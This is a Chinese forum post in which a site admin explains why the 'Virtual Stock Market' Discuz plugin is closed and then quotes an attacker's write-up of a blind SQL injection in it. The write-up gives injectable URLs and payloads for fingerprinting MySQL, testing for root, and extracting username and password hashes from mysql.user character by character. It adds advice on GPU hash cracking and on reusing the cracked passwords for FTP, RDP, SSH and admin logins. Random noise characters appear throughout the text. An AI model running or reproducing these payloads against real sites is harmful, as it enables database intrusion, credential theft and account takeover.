TA的每日心情 | 奋斗 前天 11:28 |
---|
签到天数: 2388 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。
/ S% h* `+ j3 p. r 3 n4 D9 t9 Q3 g& {
我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。
. l6 M2 n) K+ v: m6 P e# A9 w( \
/ q3 |6 n! _8 [. |# V' i7 F漏洞如下:
# Q# G. j8 U& f( s. k# L7 {4 y6 m1 S; D
Discuz插件《虚拟股市》blind Injection Vul利用
- C& N8 `/ H; B3 K# ?
5 x1 Y* N. [7 d$ Z4 o
% Y3 R* B+ C* a$ p8 ]5 e漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。
, `3 ^: ^# K- }0 j" x" M经过简单的测试,就发现了《虚拟股市》存在注射漏洞: : ~4 I+ `4 ~* C% R1 d
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数 . k9 e8 r+ \# K; n! D3 g
http://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数 4 F% U0 x5 Y% z9 J; U/ y
确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。 + U7 B9 W2 M' K3 q" T
思路有二: 4 y& c' z! Y5 z
1.尝试盲注 # v7 R# ~# A; V( y" U$ p4 h+ U- J
2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数 + h/ I' d. u* d' o$ n( |' G* l
但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。 $ p6 g s2 F+ }, @" F9 N6 e! o
盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下: , Z9 \( c3 H# o0 E2 K* i
#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 ; k. V7 M3 R2 R& @) j# j
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5
/ z# A7 n x) e( B#是否支持子查询(版本为4的情况下) " r! L& g: y9 `% \8 ]: A
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1
# Y5 z1 k+ N& M+ O% A#当前用户是否为root
, V" Z& ^4 w0 e( {/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1 4 A! h" v7 u) H; a: P
下面就根据情况而异了: ' m! R2 B- b; X8 y! c A. s! {
1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。
) f' M w, n, E5 D# P2 c% U2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。
, m1 ~) c( b! e1 I% ?6 ]* ^% i#######取数据 ! f- x- K6 h1 k1 \# \
#mysql.user表第一行第一个字符的ASCII值是否大于80
9 h* Y" k0 T, p5 N5 k% b) ]6 {+ |and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80 5 Y# ]6 Q; y+ M' g4 R
#第二个字符的ASCII值是否大于90 & y, G- l1 f. f/ [4 O. }. N
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90
2 s: D, E/ G2 k/ [8 N0 O…………
. D8 c E4 q+ k% }/ u就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。 0 K3 R- {# f1 R2 ?# N0 l
密码破解:
4 @6 }) r5 j8 b+ h( q% n4 \* K; H1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。
8 c! W$ Y0 D Z( n2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|